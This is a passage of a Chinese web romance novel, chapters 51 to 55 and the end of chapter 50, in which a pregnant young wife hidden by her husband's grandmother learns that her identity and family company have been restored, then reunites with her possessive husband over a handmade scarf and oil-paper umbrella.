“我只是……我……我只是为了宝宝,要是没有宝宝,我都懒得搭理她。以我的样貌,家世想要什么样的女人找不到,我怎么可能喜欢她?” 程凌晟真是无语的要死,“哦~是是是,你不喜欢她,连带出来给我们看看都舍不得。” 傅星驰也特别找打的开的口,“是是是,你不喜欢她,为了宝宝一连找了她半个月,瘦了一大圈。” 程凌晟凑近了傅星驰一点,他害怕陆京洲会突然跳起来打他。 两个人的话,误伤到傅星驰的概率也会高一些。 实在不行两人合作把摁按住,也是一条可行的路。 程凌晟:“你不喜欢她,所以结婚之后每天都要回家,是一个人不敢在外面住。” 傅星驰:“你不喜欢她,所以要给她买很多珠宝和包包是钱烧的慌。” 程凌晟:“你不喜欢她,所以拼了命的找周家的茬,是闲的慌。” 傅星驰:“你不喜欢她……” 话还没说完呢,陆京洲就开口打断了,声音里透着危险的味道,“你们俩再多说一句试试呢?” 陆京洲周身散发着危险的低气压,眼神像刀子一样刮过程凌晟和傅星驰。 “说啊,怎么不继续说了?”他扯起一边嘴角,笑得有点冷,“是不是最近日子过得太舒坦,皮痒了?” 程凌晟立刻战术性后仰,举起双手,“洲哥,我闭嘴!” 傅星驰也耸耸肩,做了个给嘴巴拉上拉链的动作。 包间里瞬间安静下来,只有背景音乐还在不识相地流淌。 陆京洲烦躁地松了松领口,觉得这音乐吵得他脑仁疼。 他踢开脚边的空酒瓶,重新坐回沙发,整个人陷进去,手臂搭在额头上,挡住了大半张脸。 傅星驰也是个不怕死的,沉默了几秒之后,像是没感受到那股杀气,慵懒地晃着酒杯,嘴角噙着一抹看透一切的笑,慢悠悠地补上了最后一句,“你不喜欢她……现在这副被戳中心事、恼羞成怒的样子,是演给谁看?” “傅、星、驰!”陆京洲几乎是从牙缝里挤出这三个字,拳头攥得咯咯作响,额角青筋暴起。 他猛地上前一步,看架势是真想动手。 程凌晟见状,赶紧起身打圆场,一把抱住陆京洲的胳膊,“洲哥洲哥!冷静!冷静点!星驰他嘴贱你又不是不知道!” 傅星驰却依旧那副气死人不偿命的模样,甚至还好整以暇地抿了口酒,火上浇油,“怎么,被我说中了,就想用暴力掩盖心虚?” 陆京洲胸膛剧烈起伏,死死瞪着傅星驰,那眼神像是要把他生吞活剥。 包间里的空气凝固得几乎要滴出水来。 就在程凌晟以为今天非得见血不可时,陆京洲却突然像是被针扎破的气球,所有的怒火和气势瞬间泄了个干净。 他猛地挥开程凌晟的手,却没了下一步动作。 只是颓然地后退一步,抬手用力抹了把脸,发出一声极尽烦躁又带着无尽挫败的低吼,“艹!” 这一声,仿佛用尽了他所有的力气。 他不再看那两个看透了他的兄弟,转身抓起沙发上的外套,头也不回地大步朝门口走去,背影僵硬,却透着一股落荒而逃的狼狈。 “砰!” 包间的门被狠狠甩上,发出巨大的声响。 留在原地的程凌晟和傅星驰对视一眼。 程凌晟长长舒了口气,拍了拍胸口,“吓死我了,还以为今晚咱俩要横着出去了。” 傅星驰看着还在震颤的门板,轻笑一声,下了结论,“没救了,这人彻底栽了,嘴硬有什么用?” 而冲出酒吧的陆京洲,靠在冰冷的墙壁上,夜风吹散了他身上浓重的酒气,却吹不散心头的烦乱。 兄弟的话像魔咒一样在他脑子里循环播放。 他烦躁地低骂一声,最终却还是认命般地掏出手机,咬着牙,又拨通了一个号码,声音沙哑却带着不容置疑的命令: “再加派人手!给我盯死老太太名下的所有产业,特别是那些不起眼的、国外的!有任何可疑动向,立刻汇报!” 他就不信了,这世界上没有他找不出来的人。 …… 陆老太太的私人宅邸。 岑予衿拢了拢身上的衣服,看着窗外的圆月,呆坐了许久,天气越来越冷了。 早上起床,还能看到地上下着的霜。 估计初雪很快就要来了吧? 离陆老太太找她,到现在也已经有半个月的时间了。 老太太没有按照她说的送她出国,只是把她送到了这儿。 日子同以前一样,有专人照顾。 除了……手机等电子设备被没收。 岑予衿轻轻的抬手摸了摸自己的肚子。 许久之后才收回视线,有了新的动作。 她坐在靠窗的软椅上,膝上放着一团柔软的深灰色羊绒线。 窗外月色清冷,她纤细的手指握着棒针。 一针针的织着。 她织得很慢,时不时会因为走神而漏掉一针,又不得不小心翼翼地拆回去重来。 柔软的毛线在指尖缠绕,带着一种笨拙而执拗的暖意。 这条围巾,是织给陆京洲的。 这个念头冒出来时,她自己都愣了一下。 老太太估计是在等个时机。 等着离婚证到手了,就把她送出国。 她心里有预感,应该就是这几天,所以她得抓紧时间。 和陆京洲在一起的这小半个月,他帮了她好多。 无论她遇到什么麻烦,他总会第一时间出现,像个超人一样,帮他解决所有的问题。 在他身上,她体验到了为数不多的温暖。 这几天她也从老管家口中听说了陆京洲的一些故事。 她光听着就觉得很难受。 他从小到大都没感受过什么温暖,导致他的性格古怪。 她没什么能给他的,他什么也不缺。 最后,选择了给他织一条围巾。 时钟指向凌晨三点时,岑予衿终于织完了最后一针。 她轻轻拉展手中那条厚实柔软的深灰色围巾,指尖抚过整齐的纹路,确认没有漏针或错针的地方,这才小心地将线头藏好、剪断。 长时间的专注让她脖颈有些酸涩,但她却没有丝毫困意。 她将围巾仔细叠好,放在一旁,然后起身走到书桌前,拉开抽屉,取出一张素雅的贺卡和一支钢笔。 窗外万籁俱寂,只有清冷的月光透过窗棂,洒在桌面上。 她握着笔,笔尖悬在贺卡上方,久久未能落下。 千言万语堵在胸口,却不知该从何写起。 最终,她深吸一口气,压下心头的酸涩,笔尖终于触碰到纸面,一笔一划,写得极其认真,也极其克制: 【阿洲~天冷了记得添衣。抱歉!没经过你的允许闯入了你的生活,把你原本的生活搅得一团糟,又断崖式的抽身。你是个很好的人,以后……也会遇到一个更适合你的人。祝你幸福~我走啦~安好勿念!】 她将贺卡对折,塞进早已准备好的信封里,却没有封口。 然后,她将信封轻轻放在了叠好的围巾之上。 超大礼盒中,还有一件白色衬衫和一件黑色西服,以及……一个长方形的盒子。 做完这一切,岑予衿像是被抽空了所有力气,重新坐回窗边的软椅,抱着膝盖,静静凝视着窗外沉沉的夜色,等待着即将到来的离别。 月光将她孤单的身影拉得很长,那个超大的礼盒没有关上,就这么摆在房子中央。 像是在寂静的凌晨里,无声地诉说着一段未曾开始,便要结束的故事。 第51章 我让你现在去把他捆回来,你去不去? 晨光熹微,第一缕阳光刺破云层,透过窗棂,洒在岑予衿略显苍白的脸上。 她就那样在窗边坐了一整夜,看着夜色褪去,天光渐亮,仿佛也看着自己心中那点微弱的希望彻底沉入谷底。 她动了动有些僵硬的身体,缓缓站起身。 走到房间中央,目光落在那个巨大的礼盒上。 她伸出手,指尖轻轻拂过柔软的围巾,最终,还是将礼盒的盖子缓缓合上。 “咔哒”一声轻响,像是为某个篇章画上了句号。 她深吸一口气,弯下腰,有些吃力地抱起那个对于她此刻身体状况来说略显沉重的礼盒,一步步,稳稳地走出了房间。 楼下,老管家正在指挥佣人进行日常打扫。 看到抱着大礼盒独自下楼的岑予衿,他眼中闪过一丝讶异,随即快步上前,“二少奶奶,您这是要去哪儿?这些东西让下人拿就好。” 岑予衿摇了摇头,抱紧了怀中的盒子,像是下定了什么决心? 她抬起眼,看向老管家,一夜未眠让她的声音带着些许沙哑,眼神却异常平静和坚定,“林伯,麻烦您帮我联系一下奶奶,我想见她。” 林伯看着岑予衿平静却不容置喙的眼神,心中暗叹一声,点了点头,“您先到客厅稍坐,我这就去联系老太太。” 约莫半小时后,陆老太太端坐在宅邸偏厅的主位上,看着抱着一个大礼盒走进来的岑予衿。 女孩身形单薄,脸色苍白,唯独那双眼睛,清澈见底,带着一种尘埃落定后的坦然。 “奶奶。”岑予衿微微颔首,将礼盒轻轻放在一旁的矮几上,动作小心。 陆老太太目光扫过那包装精致的盒子,语气听不出喜怒,“找我有事?” 岑予衿站直身体,双手交叠在身前,指尖微微蜷缩,语气却尽量保持着平稳,“奶奶,我想问问……离婚协议,京洲他……签好了吗?我们什么时候可以去领离婚证?” 陆老太太皱着眉头,似乎不太开心,“你就这么想离婚?” 岑予衿点了点头,“我不想再耽误他,就像您所说的,趁着没有感情,分开是最好的选择。” 陆老太太恨铁不成钢,她就不会再坚持一下吗? 岑予衿顿了顿,垂下眼睫,避开老太太审视的目光,继续道,“还有,您之前答应送我出国……具体是什么时候?” 陆老太太端起手边的茶盏,轻轻拨弄着杯盖,没有立刻回答。 岑予衿等待了几秒,深吸一口气,侧身指了指那个大礼盒,声音更轻了些,带着一丝不易察觉的恳求,“另外……还想拜托您一件事。这个盒子……等我离开后,能不能……麻烦您派人交给阿洲?” 她抬起眼,看向老太太,眼神里没有埋怨,只有一片安静的、近乎疲惫的真诚:“里面不是什么贵重的东西,只是……一点心意。算是……感谢他这段时间的照顾,也……算是告别。” 她说完,便安静地站在那里,等待着老太太的回应,像一株在寒风里悄然挺立的小草,柔弱,却带着自己的坚持。 陆老太太看着她这副油盐不进、铁了心要离开的模样,心头莫名窜起一股无名火。 她将茶盏往桌上重重一放,发出“哐”一声脆响。 “你就这么点出息?”老太太语气带着明显的怒其不争,“我陆家的门,是你说进就进,说出就出的?” 岑予衿被这突如其来的怒气惊得肩膀微颤,却仍固执地低着头,轻声道,“是奶奶您说的,我和他不合适……” “我说什么你就听什么?那我让你现在去把他捆回来,你去不去?”老太太气得深吸一口气,似乎不想再跟她多费唇舌,猛地从身旁的抽屉里拿出一个红色的小本本,带着几分赌气似的,直接丢到了岑予衿面前的矮几上。 那抹鲜艳的红色刺痛了岑予衿的眼睛。 离婚证……这么快就办好了吗? 陆京洲那边估计也同意了。 也是……她又不是什么很重要的人。 他有很多很多女朋友的。 心口像是被什么东西狠狠剜了一下。 她指尖冰凉,微微颤抖着,伸手拿起那本象征着关系终结的红色小本。 她甚至没有勇气立刻打开,甚至没敢看,只是紧紧攥着,仿佛能感受到那纸张灼人的温度。 过了好几秒,她才鼓足勇气,垂眸看向手中之物。 然而,预想中“离婚证”三个字并没有出现。 映入眼帘的,是清晰无比的三个字——结婚证。 岑予衿猛地愣住,瞳孔骤然收缩。 第52章 至于礼物你自己送给他 老太太,这是什么意思? 不是要让他们俩离婚吗,怎么又把结婚证还给她了。 “奶奶,我们不是要离婚吗,离婚应该需要结婚证的吧?” 陆老太太真是不知道该说什么了,拍了拍自己身边的位置,示意她过来坐下。 岑予衿不明所以,就这么呆呆的看着她。 “还傻站在那儿,看看自己眼底的乌青,再这么下去,你熬得住,我都怕宝宝熬不住。” 岑予衿被教训的不知道该说什么,抬手轻轻的摸了摸肚子,坐在了老太太旁边。 “不打开看看?”陆老太太指着她手里的结婚证,提醒道。 岑予衿狐疑的看向手里的结婚证,这不就是她和陆京洲的结婚证吗? 早就看过很多次了。 照片是p的。 不过听着老太太的话,也没反驳,打开了结婚证。 在看到结婚证上持证人那一栏的名字时愣住了。 岑予衿! 是岑予衿不是周芙笙! 往下看,先是陆京洲的名字,以及他的出生日期。 再往下,是她岑予衿的名字,和自己的出生日期。 岑予衿都不敢相信自己眼睛看到的,半天说不出一句话。 所以……老太太不是拿她的结婚证去办理离婚手续。 是去把结婚证上的名字改了。 “奶奶……” 陆老太太看着他眼眶红红的样子,没忍住,摸了摸她的脑袋。 把自己手里的另外几份文件,也全都递交到了她的手里。 最上面的就是她的身份证。 那张被周时越注销的身份证。 岑予衿看着那张身份证,眼泪再也控制不住,大滴大滴的砸在了身份证上。 陆老太太原本是想给她个惊喜,没想到还把人给弄哭。 手忙脚乱的拿出自己随身携带的帕子,给她擦着眼泪,“衿衿,别哭了,再看看下面。要是眼泪滴在文件上,内容无效,那影响可大了啊~” 岑予衿吸了吸鼻子,缓了一下才继续翻看底下的文件。 是周家给她的陪嫁,名字已经从周芙笙改成了岑予衿。 那两份文件底下还压着两份文件。 一份是檀月山庄的赠与协议。 另一份则是岑氏51%的股权转让协议。 她拥有了51%的岑氏股份,那就等于她拥有了绝对话语权。 岑氏回到了她手里。 岑予衿难以置信的看着老太太,所以这大半个月,她一直在忙这些,“奶奶,我不是在做梦吧?” 陆老太太看着她孩子气的模样,慈爱的摇了摇头,“傻孩子,你既然选择了跟阿洲结婚,那咱们就是一家人,有什么事情不用藏着掖着。” 岑予衿是真的没有想到老太太会这么说,一下子扑进了她怀里,这几天积压的负面情绪瞬间爆发,“奶奶,我真的不是要故意骗您,我是走投无路了。” “奶奶知道,奶奶也没有怪你的意思,只是任谁被欺骗了,都会生气,我不得给你们俩一点教训?” 陆老太太轻轻的拍着她的后背,声音温柔到了极点,“衿衿,你记住了,不论你是周芙笙还是岑予衿那都是我看中的人,是我们陆家明媒正娶的二少奶奶。” “以前的日子,奶奶知道你受了很多委屈,往后奶奶和阿洲会护着你,你想干嘛就干嘛。” 岑予衿哭的更大声了。 她已经忘了被人护着,有人撑腰是什么感觉。 陆老太太没劝她,任由她趴着,大声的哭,等她哭累了才开口,“好了好了,眼泪流多了伤身,等会那臭小子来了,看到还以为我欺负你了。” 岑予衿吸了吸鼻子,点了点头,擦干眼泪,怀里紧紧抱着那一大堆文件,“谢谢奶奶。” 陆老太太点了点她的额头,“不过丑话先说在前头,跟我签一年后离婚协议的,可是周芙笙,跟我孙子结婚的是岑予衿,那离婚协议可不作数哦。” 岑予衿没忍住笑出了声,“好,不做数。” 陆京洲也没什么不好的。 只是现在的他还不知道真实情况。 她也不知道该怎么跟他说。 岑予衿绞着手指,许久之后才开口,“奶奶,我的身份,你可不可以先不要和阿洲说?” “怎么,还对你那前夫念念不忘吗?” 岑予衿把头摇的跟拨浪鼓似的,“才没有,我和他是绝对不可能的。我和阿洲还没有相处很长时间,他原本就对我有些意见。要是现在知道我骗他,我怕他会生气。” 陆老太太点了点头。 这倒是。 毕竟他们俩结婚还没一个月。 虽然说两人对彼此都有了不一样的感情,但终归才萌芽,她不能让那牙刚冒出来就被掐掉。 而且陆京洲那感情经历是她这个亲奶奶看着都觉得复杂的。 他究竟是个什么样的人,说实话她也不清楚。 他那脑回路,要是心情不好,态度强硬的要离婚也不一定。 “我打算再过一段时间,等我们俩的感情稳定下来再跟他坦白,我自己跟他说。” 陆老太太没有反对,“这是你们小两口之间的事儿,奶奶不掺和了。” “嗯,谢谢奶奶。” 陆老太太刚想跟她说,让她上去休息一会,等会让外面已经急疯的某人过来接她。 又突然想到了另外一件事儿,从自己的手包里,取出一张卡递给她,“这个是奶奶答应给你的5000万零花钱,你先拿着。” 老太太这零花钱给的那叫一个豪横,“这是这个月的,下个月的再打到你卡里,密码是你俩领证的日子。” 这零花钱她不太想收,“奶奶,你给我的已经够多了,零花钱就不用,我花不完。” 老太太强硬的塞到了她怀里,“哪有人嫌钱多的?女孩子多点钱傍身总没错,你马上就要入职岑氏,到处都得花钱呢。” 岑予衿不好再拒绝,只能收下,“那就谢谢奶奶啦。” “只要你不甩了我那孙子,怎么作都行,奶奶一定护着你。” 岑予衿点了点头,想到了那天晚上说要给她摸陆京洲,耳根都红了,“我答应您。” 岑予衿犹豫着开了口,“阿洲,这段时间在干嘛?” “找你找疯了,我身边全是他安插的眼线,这会儿估计得到了。” 老太太看了一下时间,估摸着人也快到了,接过她手里的那些文件收好,笑道,“至于礼物你亲手送给他吧。” 话落,气喘吁吁,满头大汗的陆京洲就这么猝不及防的闯进了她的视线。 第53章 周芙笙你真是蠢到家了! 岑予衿看着他肉眼可见的瘦了一圈,胡子拉碴的,狼狈至极,下意识的起身。 还没有反应过来呢,就被人抱了个满怀。 陆京洲的力道大的几乎要将她揉进骨血。 抱着他像是什么失而复得的礼物。 “周芙笙……”他的声音嘶哑到极致,“这几天,你跑哪去了,一点消息都没有!” 岑予衿还来不及说话呢,他就松开了她,紧张兮兮的,到处查看,确定没问题,才开始算账。 松开她,坐到了沙发上。 脸色不是很好,完全没有了刚才那紧张兮兮的模样。 那架势明显是要兴师问罪。 “是奶奶先狡辩,还是周二小姐先狡辩?” 陆京洲这几天是吃也没吃好,睡也没睡好,还吐的昏天黑地。 问老太太人在哪儿,老太太死活不说,还说压根就没见过。 对了,还说是周芙笙自己要离婚,不要孩子抚养权,还要到国外去。 真是莫名其妙。 明明前一天还说什么夫妻本就是一体,她会无条件的站在他身后,要是有人欺负他,她会毫不犹豫的站出来,保护他。 结果呢? 第二天人直接失踪,发消息是不回的,打电话是不接的,就像是这个地球上从来没有出现过这么个人。 这能轻易的原谅吗? 不能! 他找了人整整半个月,现在又突然冒出来了。 岑予衿看着他这副油盐不进的模样,也不知道该怎么办? 陆京洲比她想象中的还要难哄。 她张了张嘴,还没来得及解释,陆京洲已经冷着脸别过头去,下颌线绷得紧紧的。 看吧? 这该怎么哄? 老太太看着两人别扭的模样,起身一巴掌甩在了陆京洲脑袋上,“差不多得了,是我想考验一下你们俩,这段时间相处的怎么样?才把人藏起来的。” 岑予衿看到老太太打陆京洲立马上前,隔在了两人中间,试图缓和气氛,“奶奶,您说话就说话,别动手。” 陆京洲看着挡在自己面前的女孩,身子没动,抬手将人扯到自己腿上,“我先算奶奶的账,你别说话,等会再算你的。” 岑予衿绷直了身体,不习惯他的突然凑近,却也知道现在不是招惹他的时候,乖乖闭了嘴。 “您不是说没看到人吗?这怎么解释?” 老太太被孙子当面戳穿,脸上有些挂不住,强撑着气势:“我那是为你们好!你看看你,平时对芙笙爱答不理的,我不试试,怎么知道你心里到底有没有她?” 陆京洲气笑了,手臂却下意识环住腿上的人,防止她掉下去,“所以您就编出她要离婚、不要孩子、还要出国的鬼话?您知不知道我……” 他顿住,把“差点疯了”这几个字咽回去,硬生生转了口,“我才不是担心她,我是担心她肚子里的宝宝。” 老太太心虚地别开眼,“行,行行,这件事情是我的错,笙笙这半个月天天念叨你,吃不好睡不好的,还给你准备了礼物赔罪……” 陆京洲冷哼一声,低头看向怀里僵着身子不敢动的岑予衿,声音压低,带着危险的意味,“哦?是吗?周二小姐这么惦记我?” 这么惦记他会不给他发消息? 联合着老太太骗他。 他是真的怀疑周芙笙说暗恋他10年是假的。 要是真的暗恋了他10年,会忍心让他找半个月。 真的一点消息都没有? 岑予衿被他圈在怀里,能清晰感受到他胸膛的震动和身上清冽的气息,点头如捣蒜,“每时每刻都惦记着呢,阿洲,这半个月我是真的很想你~我去给你拿礼物。” 她刚要动,就被他按回腿上。 “不急。”陆京洲抬眼,重新看向老太太,眼神锐利,“奶奶,您的账算完了。现在,该谈谈您孙子这半个月的精神损失,以及……” 他顿了顿,意有所指地扫了一眼岑予衿,“某些人联合外人,欺骗亲夫的账,该怎么算了。” 老太太见状,立刻识趣地站起身,“哎呀,年纪大了,坐久了腰疼。你们小两口的事自己解决,我回去歇着了。” 说完,赶紧溜之大吉。 客厅里顿时只剩下两人。 岑予衿感受到腰间的手臂收紧,心跳如擂鼓。 她小心翼翼地抬头,对上陆京洲深邃的眼眸,那里面翻涌着她看不太懂的情绪,像是压抑许久的风暴。 “阿洲……对不起,我下次不这样了。”她怯怯地开口。 他却忽然俯身,将额头抵在她单薄的肩膀上,深深吸了一口气,再开口时,嗓音哑得不成样子,“周芙笙你真是蠢到家了。” “奶奶说什么就是什么吗?” “离婚,出国,不要孩子抚养权是你提出来的对不对?” “你不是说我是你的crush,你就是这么对待你的crush的?我现在真的有点怀疑你对我的爱到底有多少?” 陆京洲越说越生气,两只手捧住她的小脸,再看到她眼底的乌青以及泛红的眼眶时,所有的责备和质问都咽了回去。 “还哭过?”陆京洲抬手轻轻的抚过她的眼尾,“你和老太太绝对有事情瞒着我。” 岑予衿的脸被他捧着,听着他喋喋不休的质问,眼一闭,心一横,猛的凑近他,在他的唇上飞快的落下一吻。 随即迅速撤退。 柔软的触感一触即分。 世界瞬间安静了。 陆京洲所有未出口的话都卡在了喉咙里,他整个人僵住,深邃的眼眸里翻涌的情绪骤然凝固,“周芙笙,谁教你这么哄人的,想蒙混过关的?” 话音未落,他一手猛地扣住她的后颈。 让她没有任何后撤的余地,随后用力的吻向他的唇。 这个吻与刚才那个蜻蜓点水般的触碰不同,带着这半个月来的焦灼、不安、愤怒,以及失而复得的狂喜,如同暴风骤雨般落下,强势而深入。 将她的呼吸掠夺的彻底。 “唔……”岑予衿下意识地挣扎了一下,却被他更紧地禁锢在怀里,被迫承受着他近乎惩罚却又带着眷恋的吻。 不知过了多久,在岑予衿感觉自己快要缺氧时,他才终于稍稍退开,额头却仍抵着她的,呼吸粗重,灼热地喷洒在她潮红的脸颊上。 他的指腹摩挲着她微微红肿的唇瓣,眼神依旧危险,“礼物,解释,认错,少一样都不行。” 岑予衿:“……” 第54章 想离婚带球跑,罪加一等 岑予衿被他吻得浑身发软,靠在他怀里小口喘着气,听到他这话,忍不住小声抗议,“哪有你这样的。” “哪样?”陆京洲挑眉,指尖不轻不重地捏了捏她的后颈,带着警告的意味,“周二小姐,想离婚带球跑路,就是罪加一等,现在还敢讨价还价?” 他嘴上说得严厉,圈在她腰间的手臂却收得更紧,将人牢牢固定在怀里,仿佛生怕一松手她又会消失不见。 岑予衿抬起湿漉漉的眼眸看他,见他虽然依旧板着脸,但眼底那骇人的风暴似乎平息了些许,取而代之的是一种很复杂的表情。 她心念微动,指了指不远处的大盒子,试探性地开口,“你要不要看看我给你准备的礼物?” “一起!”陆京洲的声音不容置疑,直接抱着她站起身。 突如其来的失重感让岑予衿低呼一声,下意识地搂紧他的脖子,“阿洲我自己能走。” “不放。”陆京洲抱着她稳步往楼上走,下颌线依旧绷着,语气硬邦邦的,“谁知道你会不会又跑了。” 这话听着像是赌气,却又带着一丝不易察觉的后怕。 岑予衿不再挣扎,乖乖窝在他怀里,任由他抱着自己走近那个黑色的超大礼物盒。 陆京洲抱着岑予衿在礼物盒前停下。 他垂眸看着怀里的人,没有立刻放下她。 一只手抱着她,另外一只手打开了那个礼物盒。 入目的便是最上面的贺卡。 “等等!”岑予衿心头一跳,下意识地伸手去抢。 这个贺卡可不是现在给他看的。 那时候的她以为他们再也见不着,这才写了像遗言一样的。 要是被他发现了,那刚才哄他一切都白哄了。 可陆京洲动作更快,手臂一抬,轻易避开了她的动作。 他深邃的目光落在她骤然变得紧张甚至有些苍白的脸上,眼神沉了沉。 “怎么?”他声音低沉,带着审视,“不是给我的礼物,有什么是我不能看的?” “不是……我……”岑予衿语塞,心跳如擂鼓。 那贺卡上的话语,此刻回想起来,字字都像是在划清界限,带着诀别的意味。 她压根不敢想象他看到后的反应。 陆京洲不再看她,径直抽出了里面的贺卡。 当他展开那张素雅的卡片,看清上面清秀却决绝的字迹时,周遭的空气仿佛瞬间凝固了。 【阿洲~天冷了记得添衣哦。抱歉!没经过你的允许闯入了你的生活,把你原本的生活搅得一团糟,又断崖式的抽身。你是个很好的人,以后……也会遇到一个更适合你的人。祝你幸福~我走啦~安好勿念!】 “搅得一团糟……断崖式抽身……更适合的人……安好勿念……”他低声念着其中的几个词,每一个字都带着咬牙切齿的味道。 太荒谬了。 看着这贺卡,明显就是她要离开。 他抱着她的手臂僵硬如铁,胸膛剧烈起伏了一下,再开口时,声音沙哑得可怕,“周芙笙,这就是你想对我说的全部?想了半个月,最后还是决定离开我?” 岑予衿被他眼神里翻涌的痛色和难以置信刺得心口发疼,慌乱地解释,“不是的,阿洲,奶奶拿走了我的结婚证,她也没告诉我,只说让我和你离婚。 我那时是以为……我们以后不会再见了,所以我……” 现在只能把所有的一切都推到老太太身上了。 不过……也不冤枉老太太,确实是老太太瞒着他俩干大事儿。 “所以你就提前给我发好人卡?祝我幸福?”陆京洲猛地打断她,他低头,逼近她的脸,两人鼻尖几乎相触,他灼热的气息带着压抑的怒火喷在她脸上,“谁准你替我做决定的?嗯?谁需要你的抱歉和祝福?” 他心里的火蹭蹭地往上冒,还有一种被抛弃的恐慌感后知后觉地席卷而来。 他找了她那么久,担惊受怕,结果她倒好,是真的准备跑路了,“你不记得了吗?前一天我才警告过你,你要是敢骗我,我杀了你再殉情!” “我……”岑予衿被他吼得瑟缩了一下,眼圈瞬间就红了,“你可不可以不要那么凶,我不是都给你准备礼物了嘛~下次不会了,老公~” 陆京洲冷哼了一声,又来这招,她是觉得他真的没脑子吗? 撒娇,一句老公就可以的。 陆京洲看着她泛红的眼眶,心里那股邪火烧得更旺,却又夹杂着心疼。 他闭了闭眼,强压下把她按在怀里猛猛亲一顿,直到她收回那些混账话的冲动,目光扫过盒子里的其他东西。 他垂眸,目光首先落在了那条被仔细叠放好的深灰色围巾上。 羊绒的材质在室内光线下泛着柔和的光泽,肉眼可见的蓬松柔软。 围巾的针法并非商店里售卖的那种千篇一律的工整,能看出一些地方略微有些松紧不一,甚至在某处有一个几乎难以察觉的、被小心修正过的小小凸起——那是她走神漏针后又拆回去重织的痕迹。 正是这些不完美,却赋予了这条围巾独一无二的味道,每一针都仿佛缠绕着织者安静的心事和指尖的温度。 “你亲手织的?” 岑予衿点头如捣蒜,像是在邀功,“嗯,我没什么可以送你的,就想着亲手给你织一条围巾。” 陆京洲嘴角都快压不住了,“算你有点良心,丑是丑了点,但心意最重要,我就勉强收下了。” 在围巾旁边,平整地放置着白色衬衫和黑色西服。 它们被熨烫得一丝不苟,棱角分明,显然是被精心打理过。 这两件衣服是被她偷穿走的。 第55章 我会忍不住把那男人剁了 “你打开看看不就知道啦~”岑予衿拍了拍他的肩膀,“放我下来,这个不好操作。” 陆京洲不明所以,却也还是照做了,说实话有点好奇。 他都记不清,有多久没收到礼物了,她是知不道怎么哄人的。 陆京洲拿起那个盒子,打开,看不清是什么东西。 用布袋子裹着,他看了她一眼,在他期待的目光中缓缓把外层的布袋子打开。 映入眼帘的是一把黑色的油纸伞。 岑予衿小声解释,“对不起,妈妈留给你的那把伞放在周家找不到了。我的手没有那么巧,跟妈妈做的那把比不了,希望你不要嫌弃。” 那把伞已经不见了10年了,他都快忘了长什么样。 没想到她会把他的话放心上,还亲手给他做了一把。 陆京洲不知道现在自己的心情到底是什么样的,他表达不出来。 可他知道那种感觉并不赖。 他没有说话,低头看着那伞,整体是黑色的,和当年母亲做的那把极其相似。 他撑开才发现是满穿,伞骨与伞面之间搭配着黑白配色的丝线,最外层印着两枝修竹。 黑色的伞面在光线下映射着柔和的光泽。 伞柄挂着一枚平安扣,平安扣上的穗也是黑色的。 这把伞同样也刻了字【JZ??】 是他名字的缩写,和一个小爱心,那一看就知道是她手刻的。 陆京洲半天没说话,就这么呆呆的看着那把伞。 岑予衿的心都要跳到嗓子眼了,难不成是不喜欢? 还是觉得她在东施效颦,没有诚意? 这马屁不会拍到马腿上了吧。 岑予衿心跳如擂鼓,呜呜呜呜,说点好话吧,“阿……阿洲,你知道一个女孩子给男人送伞,寓意着什么?” 陆京洲依旧没有说话,修长白皙的手轻轻摩挲着伞柄的名字缩写。 “寓意着风雨同舟,白首不相离。” 他就像是没听见似的。 岑予衿攥着衣角,声音带着点鼻尖泛红的委屈,“我去城西桐树巷找的陈老师傅,他说妈妈当年也跟他请教过油纸伞的手艺。满穿的丝线要一根一根对齐,我穿错了好多次,手指都被针扎破好几次……” 她吸了吸鼻子,越说越没底气,“竹纹是照着老画册描的,平安扣是特意挑的暖玉,刻字的时候怕手抖刻歪,练了好多天木片……” “不喜欢也没关系的,”她飞快地低下头,声音轻得像羽毛,“我知道跟妈妈做的没法比,我下次……下次再送你别的。” 她伸出手想给他看指尖快要消退的痕迹,又觉得有些矫情,讪讪地收了回去。 “你要是不喜欢也没关系的,我、我下次送你别的……”她声音越来越小,几乎要哭出来。 就在她准备把伞收起来时,陆京洲忽然抬手,轻轻握住了她的手腕。 他的掌心很烫。 岑予衿惊讶地抬头,正对上他深邃的眼眸,那里翻涌着她从未见过的情绪。 “风雨同舟,白首不相离?”他终于开口,声音低哑得不像话。 “周芙笙,你是傻子吗?为了讨我开心去做这些,你是个孕妇你知道吗?” 陆京洲终于抬了头,眼眶泛着不易察觉的红,喉结滚了滚,却还是没说什么,只是反手将她揽进怀里。 力道不算轻,带着点失而复得的紧绷,下巴抵在她发顶,呼吸灼热。 那把油纸伞被他紧紧攥在另一只手里,伞骨的弧度硌着掌心,却不及心里翻涌的暖意半分。 岑予衿被他抱得一愣,闷闷地哼了一声,“我以为我再也见不到你,就想着把自己能给你的,全都给你,算是补偿你的,谁知道你不喜欢就算了,还骂人。” “喜欢,很喜欢,谢谢。”陆京洲的声音带着些不自然,说的还有些急,生怕她会误会。 岑予衿微微松了口气,这毛算是顺好了,礼物送到他心坎上了。 岑予衿也回抱住了他,许久之后才微微开口,“阿洲,咱们回家吧,我不想在这儿待着了,吃不好,睡不好的。” 她迫不及待的跟他告状,“你都不知道我这段时间是怎么过的,特别是昨天晚上。” 她从他怀里退出来,指着自己眼下明显的黑眼圈,“都大半个月了,奶奶肯定要把我送出国了,我的围巾还没织完,我就坐在窗边织了一晚上围巾,之后就睡不着了,坐了一整夜。困死我了。” 陆京洲听到这话实在没忍住,笑出了声,“你就不会找机会给我发个消息?” 说到这个岑予衿就来气,“你觉得我会有通讯方式?” 陆京洲捧着她的脸搓了搓,“记住了,以后别做这么傻的事,哪怕老太太送你出国,记住我的电话,你需要做的,是吃好睡好等着我,等我去找你。” 岑予衿的心跳漏了半拍,“哪怕……我骗你,和别的男人跑了,你也会找我吗?” “骗我可以,跟别的男人跑不行。”陆京洲的声音阴恻恻的,“不会忍不住把那男人剁了。” “咦~”岑予衿忍不住打了个哆嗦,“好残忍。” “是谁先残忍的?” 岑予衿乖乖闭了嘴。 陆京洲把礼物小心翼翼的收了回去,放在那个大的礼物盒里。 朝她伸出了自己的大手,岑予衿低头看了一眼,将自己的小手搭了上去,“回家~” 门刚打开,细碎的凉意扑面而来。 岑予衿下意识缩了缩脖子,抬眼望去,漫天洋洋洒洒飘着白絮般的东西,落在鼻尖凉丝丝的,转瞬融化成一小点水渍。 “下雪了?”她惊喜地睁大眼,挣脱陆京洲的手,往前跑了两步,仰头望着天空。 初雪来得悄无声息,雪花细碎却密集,落在她的发顶、肩头,把乌黑的发丝染得泛了白。 陆京洲站在门口,看着她像个孩子似的伸手去接雪花,眼底的阴恻褪去,只剩下化不开的柔。 